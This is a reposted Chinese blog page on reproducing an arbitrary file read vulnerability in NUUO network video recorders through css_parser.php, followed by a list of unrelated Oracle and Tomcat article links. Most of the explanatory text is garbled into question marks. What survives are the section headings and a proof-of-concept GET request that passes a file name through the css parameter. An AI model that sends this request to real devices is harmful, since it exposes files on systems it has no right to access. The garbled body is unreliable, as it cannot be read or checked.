博客
关于我
NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现
阅读量:801 次
发布时间:2023-02-17

本文共 764 字,大约阅读时间需要 2 分钟。

0x01 NUUO???????????

NUUO????????Network Video Recorder???NVR??NUUO Inc.???????????????????????????????????????????????????????IP????????????????????????????????????NUUO NVR??????????????????????????

0x02 ????

???????????????????css_parser.php???????????????????????????????????????????????????????????????????????????????????

0x03 ??????

????????????????

????????URL??GET?????????

GET /css_parser.php?css=css_parser.php HTTP/1.1

??????????????????User-Agent??????

Host: www.nuuo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:xx.xx.xx) Gecko/20100101 Firefox/xx.xx

0x04 ????

?????????PoC?Proof of Concept?????????????

GET /css_parser.php?css=css_parser.php HTTP/1.1  Host: www.nuuo.com

??????????css_parser.php???????????????????????????????????????

转载地址:http://hwnfk.baihongyu.com/

你可能感兴趣的文章
oracle用户解锁
查看>>
Oracle用游标删除重复数据
查看>>
Tomcat学习总结(19)—— 为什么首选Tomcat作为JavaWeb应用服务器?
查看>>
oracle的内置函数
查看>>
Oracle的存储结构
查看>>
Oracle的聚合函数group by结合CUBE和ROLLUP的使用
查看>>
Oracle监听配置、数据库实例配置等
查看>>
Oracle知识补充
查看>>
Oracle笔记(十三) 视图、同义词、索引
查看>>
Oracle笔记(十) 约束
查看>>
【BOOST C++字串专题07】 Boost.Format
查看>>
oracle系列(六)OEM与常见故障处理
查看>>
Oracle系列:安装Oracle RAC数据库(二)
查看>>
oracle系统 介绍,ORACLE数据库管理系统介绍
查看>>
Thymeleaf模板引擎的编写
查看>>
oracle获取数据库表、字段、注释、约束等
查看>>
ThreeJS入门(163):THREE.TextureLoader 知识详解,示例代码
查看>>
Oracle表的操作
查看>>
Oracle表空间、用户的创建及导入导出
查看>>
oracle表空间查询维护命令大全之三(暂时表空间)史上最全
查看>>